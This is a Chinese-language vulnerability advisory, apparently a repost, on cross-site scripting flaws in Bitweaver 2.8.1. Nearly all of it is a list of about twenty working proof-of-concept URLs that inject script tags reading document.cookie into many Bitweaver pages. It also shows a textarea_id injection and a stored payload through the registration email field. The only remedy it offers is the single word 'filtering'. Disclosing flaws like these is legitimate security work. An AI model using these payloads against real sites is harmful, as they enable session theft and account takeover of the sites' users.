作者: Stefan Schurtz

影响程序: Successfully tested on Bitweaver 2.8.1

开发者: http://www.bitweaver.org

 

缺陷概述

==========================

 

Bitweaver 2.8.1受到多个css缺陷影响

 

==================

技术日志:

==================

 

http://www.2cto.com /bitweaver/users/register.php/"</script><script>alert(doc

ument.cookie)</script>

http://www.2cto.com /bitweaver/blogs/rankings.php/"</script><script>alert(doc

ument.cookie)</script>

http://www.2cto.com /bitweaver/articles/edit.php/"</script><script>alert(docu

ment.cookie)</script>

http://www.2cto.com /bitweaver/articles/list.php/"</script><script>alert(docu

ment.cookie)</script>

http://www.2cto.com /bitweaver/calendar/index.php/"</script><script>alert(doc

ument.cookie)</script>

http://www.2cto.com /bitweaver/events/list_events.php/"</script><script>alert

(document.cookie)</script>

http://www.2cto.com /bitweaver/events/index.php/"</script><script>alert(docum

ent.cookie)</script>

http://www.2cto.com /bitweaver/pigeonholes/list.php/"</script><script>alert(d

ocument.cookie)</script>

http://www.2cto.com /bitweaver/fisheye/index.php/"</script><script>alert(docu

ment.cookie)</script>

http://www.2cto.com /bitweaver/recommends/index.php/"</script><script>alert(d

ocument.cookie)</script>

http://www.2cto.com /bitweaver/rss/index.php/"</script><script>alert(document

.cookie)</script>

http://www.2cto.com /bitweaver/fisheye/list_galleries.php/"</script><script>a

lert(document.cookie)</script>

http://www.2cto.com /bitweaver/tags/"</script><script>alert(document.cookie)<

/script>

http://www.2cto.com /bitweaver/stencils/index.php/"</script><script>alert(doc

ument.cookie)</script>

http://www.2cto.com /bitweaver/stencils/list_stencils.php/"</script><script>a

lert(document.cookie)</script>

http://www.2cto.com /bitweaver/wiki/orphan_pages.php/"</script><script>alert(

document.cookie)</script>

http://www.2cto.com /bitweaver/users/remind_password.php/"</script><script>al

ert(document.cookie)</script>

http://www.2cto.com /bitweaver/blogs/list_blogs.php/"</script><script>alert(d

ocument.cookie)</script>

http://www.2cto.com /bitweaver/liberty/list_content.php/"</script><script>ale

rt(document.cookie)</script>

 

http://www.2cto.com /bitweaver/quicktags/special_chars.php?textarea_id=');"/>

<script>alert(document.cookie);</script>

 

http://www.2cto.com /bitweaver/users/register.php -> Email -> '"</script><script>alert(document.cookie)</script> -> Register

 

=========

解决方案：

=========

过滤

-